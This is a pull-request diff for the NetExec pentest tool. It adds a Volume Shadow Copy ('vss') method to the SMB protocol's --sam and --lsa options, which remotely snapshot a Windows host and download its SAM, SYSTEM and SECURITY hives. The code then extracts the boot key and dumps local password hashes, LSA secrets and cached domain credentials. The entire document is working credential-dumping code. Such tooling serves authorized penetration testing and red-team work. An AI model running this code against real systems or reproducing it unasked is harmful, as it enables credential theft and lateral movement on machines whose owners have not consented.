Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
137 changes: 90 additions & 47 deletions nxc/protocols/smb.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@
SAMHashes,
LSASecrets,
NTDSHashes,
LocalOperations,
)
from impacket.examples.regsecrets import (
RemoteOperations as RegSecretsRemoteOperations,
Expand Down Expand Up @@ -55,6 +56,7 @@
from nxc.protocols.smb.samrfunc import SamrFunc
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.helpers.logger import highlight
from nxc.paths import TMP_PATH
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.misc import detect_if_ip
Expand Down Expand Up @@ -1950,7 +1952,6 @@ def enable_remoteops(self, regsecret=False):
@requires_admin
def sam(self):
try:
self.enable_remoteops(regsecret=(self.args.sam == "regdump"))
host_id = self.db.get_hosts(filter_term=self.host)[0][0]

def add_sam_hash(sam_hash, host_id):
Expand All @@ -1967,35 +1968,56 @@ def add_sam_hash(sam_hash, host_id):

add_sam_hash.sam_hashes = 0

if self.remote_ops and self.bootkey:
if self.args.sam == "regdump":
SAM = RegSecretsSAMHashes(
self.bootkey,
remoteOps=self.remote_ops,
perSecretCallback=lambda secret: add_sam_hash(secret, host_id),
)
else:
SAM_file_name = self.remote_ops.saveSAM()
SAM = SAMHashes(
SAM_file_name,
self.bootkey,
isRemote=True,
perSecretCallback=lambda secret: add_sam_hash(secret, host_id),
)
SAM = None

if self.args.sam == "vss":
self.logger.display("Dumping SAM hashes via VSS shadow copy")
try:
remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", TMP_PATH)

local_ops = LocalOperations(system_path)
bootkey = local_ops.getBootKey()

self.logger.display("Dumping SAM hashes")
SAM = SAMHashes(sam_path, bootkey, isRemote=False, perSecretCallback=lambda secret: add_sam_hash(secret, host_id))
except Exception as e:
self.logger.fail(f"VSS dump failed: {e}")
else:
self.enable_remoteops(regsecret=(self.args.sam == "regdump"))

if self.remote_ops and self.bootkey:
self.logger.display("Dumping SAM hashes")
if self.args.sam == "regdump":
SAM = RegSecretsSAMHashes(
self.bootkey,
remoteOps=self.remote_ops,
perSecretCallback=lambda secret: add_sam_hash(secret, host_id),
)
else:
SAM_file_name = self.remote_ops.saveSAM()
SAM = SAMHashes(
SAM_file_name,
self.bootkey,
isRemote=True,
perSecretCallback=lambda secret: add_sam_hash(secret, host_id),
)

if SAM:
self.output_filename = self.output_file_template.format(output_folder="sam")
SAM.dump()
SAM.export(self.output_filename)
self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database")

try:
self.remote_ops.finish()
except Exception as e:
self.logger.debug(f"Error calling remote_ops.finish(): {e}")

if self.args.sam == "secdump":
if self.args.sam == "vss":
SAM.finish()
else:
try:
self.remote_ops.finish()
except Exception as e:
self.logger.debug(f"Error calling remote_ops.finish(): {e}")

if self.args.sam == "secdump":
SAM.finish()
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.getErrorString():
self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.')
Expand Down Expand Up @@ -2253,8 +2275,6 @@ def list_snapshots(self):
@requires_admin
def lsa(self):
try:
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))

def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
self.logger.highlight(secret)
Expand All @@ -2271,35 +2291,58 @@ def add_lsa_secret(secret):

add_lsa_secret.secrets = 0

if self.remote_ops and self.bootkey:
if self.args.lsa == "regdump":
LSA = RegSecretsLSASecrets(
self.bootkey,
self.remote_ops,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
)
else:
SECURITYFileName = self.remote_ops.saveSECURITY()
LSA = LSASecrets(
SECURITYFileName,
self.bootkey,
self.remote_ops,
isRemote=True,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
)
self.logger.display("Dumping LSA secrets")
LSA = None

if self.args.lsa == "vss":
self.logger.display("Dumping LSA secrets via VSS shadow copy")
try:
remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", TMP_PATH)

local_ops = LocalOperations(system_path)
bootkey = local_ops.getBootKey()

LSA = LSASecrets(security_path, bootkey, remote_ops, isRemote=False, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret))
except Exception as e:
self.logger.fail(f"VSS dump failed: {e}")
else:
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))

if self.remote_ops and self.bootkey:
self.logger.display("Dumping LSA secrets")
if self.args.lsa == "regdump":
LSA = RegSecretsLSASecrets(
self.bootkey,
self.remote_ops,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
)
else:
SECURITYFileName = self.remote_ops.saveSECURITY()
LSA = LSASecrets(
SECURITYFileName,
self.bootkey,
self.remote_ops,
isRemote=True,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
)

if LSA:
self.output_filename = self.output_file_template.format(output_folder="lsa")
LSA.dumpCachedHashes()
LSA.exportCached(self.output_filename)
LSA.dumpSecrets()
LSA.exportSecrets(self.output_filename)
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
try:
self.remote_ops.finish()
except Exception as e:
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
if self.args.lsa == "secdump":

if self.args.lsa == "vss":
LSA.finish()
else:
try:
self.remote_ops.finish()
except Exception as e:
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
if self.args.lsa == "secdump":
LSA.finish()
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.getErrorString():
self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.')
Expand Down
4 changes: 2 additions & 2 deletions nxc/protocols/smb/proto_args.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,8 +31,8 @@ def proto_args(parser, parents):
delegate_spn_arg.make_required = [delegate_arg]

cred_gathering_group = smb_parser.add_argument_group("Credential Gathering")
cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems")
cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump LSA secrets from target systems")
cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump SAM hashes from target systems using the specifed method (default: %(const)s)")
cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump LSA secrets from target systems using the specifed method (default: %(const)s)")
ntds_arg = cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method")
# NTDS options
kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)")
Expand Down